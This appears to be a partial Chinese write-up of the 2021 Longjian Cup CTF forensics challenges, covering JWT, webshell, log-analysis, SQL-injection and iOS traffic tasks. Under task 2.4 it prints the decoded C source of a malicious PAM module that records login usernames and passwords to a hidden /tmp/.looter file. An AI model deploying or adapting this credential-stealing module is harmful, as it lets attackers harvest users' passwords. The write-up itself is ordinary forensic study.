安全-陇剑杯2021(部分)
Posted 小狐狸FM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-陇剑杯2021(部分)相关的知识,希望对你有一定的参考价值。
文章目录
前言
比赛的题目相比其他的ctf更简单了些,就是平台一开始太卡了
学习到了很多知识,剩下的题目就等大佬的WP了
一、签到
查看一下协议分级,
Hypertext Transfer Protocol
(HTTP)协议占比较大,改成小写提交
注:找协议树中的叶子节点,Ethernet、IPV4、TCP
是根节点
二、jwt
2.1
和题目一样直接提交
jwt
就行
2.2
过滤
http
协议
选择编号较大的报文追踪
http
流,查看token
部分(当前的tcp分组为29)
参考文章:使用JWT实现Token认证
把payload的部分提取出来
进行base64解码得到id和username
如果你选择的是编号较小的报文追踪http流时,得到的id是10086,这个是错误的id
2.3
先导出所有的
HTTP
对象
在
exec(14)
中黑客提交了一条命令whoami
查看当前用户的信息
在
exec(16)
中是服务端返回给客户端的html
代码
javascript
的弹窗显示root
是对之前whoami
命令的回应
2.4
同理导出所有的
HTTP
对象
在exec(26)
中拖到最后面就是黑客上传的文件1.c
前面有两坨代码,第一部分进行了
URL
编码和base64
,第二部分只进行了base64
%2b
是+
符号的URL
编码形式,%20
是空格的URL
编码形式
%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2b
将第二部分代码
base64
解密后得到的是1.c
里面的c语言代码
CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9
虽然看不懂这个代码,但是后面的一个函数有写用户名、密码的东西,应该就是恶意代码了
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s\\nPassword: %s\\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
2.5
慢慢找
so
后缀文件就能发现
2.6
这个是猜的,没找到修改的操作,只找到了显示的命令
三、webshell
3.1
查找
POST
请求包,在一个URL
为/index.php?m=Home&c=Members&a=login
发现了密码
3.2
绝对路径的话有两个部分组成,一个是网站根目录,另一个是相对路径
导出HTTP
对象,一个个找,在index(34).php%3fm=home&a=assign_resume_tpl
文件中发现了含有phpinfo()
页面的东西
将其后缀变更为
.html
用浏览器打开,先查找网站根路径为/var/www/html
在
PHP
变量中查找.log
后缀的日志文件,路径为data/Runtime/Logs/Home/21_08_07.log
,两个拼起来就是答案
3.4
在翻到
1(10).php
的时候感觉1.php
很可疑,就提交了
四、日志分析
4.1
攻击者是通过字典的方式爆破网站源码文件名,查找
HTTP
状态码为200
的就是答案,1686
是返回包的大小
其中index.php
也是200
状态码,通常index
文件是网站默认的首页,不会是泄露的源码
4.2
4.3
答案在最后几行,
{键1:值1;键2:值2}
这种数据格式是json
(JavaScript Object Notation的缩写)
七、简单日志分析
7.1
在
207
行发现有一个以user
为参数的GET
请求
把后面的密文进行
base64
解密,可以看到其中含有linux
命令cat
7.2
在
207
行发现有一个以user
为参数的GET
请求
把后面的密文进行
base64
解密,黑客使用cat
命令查看了/Th4s_IS_VERY_Import_Fi1e
文件
7.3
在最后一行,提取
user
参数的值
同理
base64
解码,发现了bash
反弹shell
命令
八、SQL注入
8.1
8.2
查库名:
从1
行到161
行,看database()
在哪些行有就去查哪些
s
是1,1)
最后一个
q
是2,1)
最后一个
因为第161
行是个加号,加号在URL
中会被识别成空格,所以不需要写
以此类推,查询出表名就找
table_name
,查字段名找column_name
起始行 | 终止行 | 盲注内容 |
---|---|---|
1 | 161 | 数据库名 |
162 | 353 | sqli数据库的表名 |
354 | 545 | sqli数据库flag表的字段名 |
546 | 2764 | sqli数据flag表flag字段内容 |
有一种取巧方法,先将日志信息全部
url
编码后,直接从后往前翻
执行了一条sql
语句,查询的是sqli
数据库flag
表的flag
字段
select flag from sqli.flag
8.3
和之前的方法一样,在第
546
行到2764
行找就行
十、ios
10.1
追踪http流量
10.2
追踪http流量
10.8
参考:PHP:system - Manual
可以看到fxxk
参数的值是一串命令,system
是php
中的危险函数
以上是关于安全-陇剑杯2021(部分)的主要内容,如果未能解决你的问题,请参考以下文章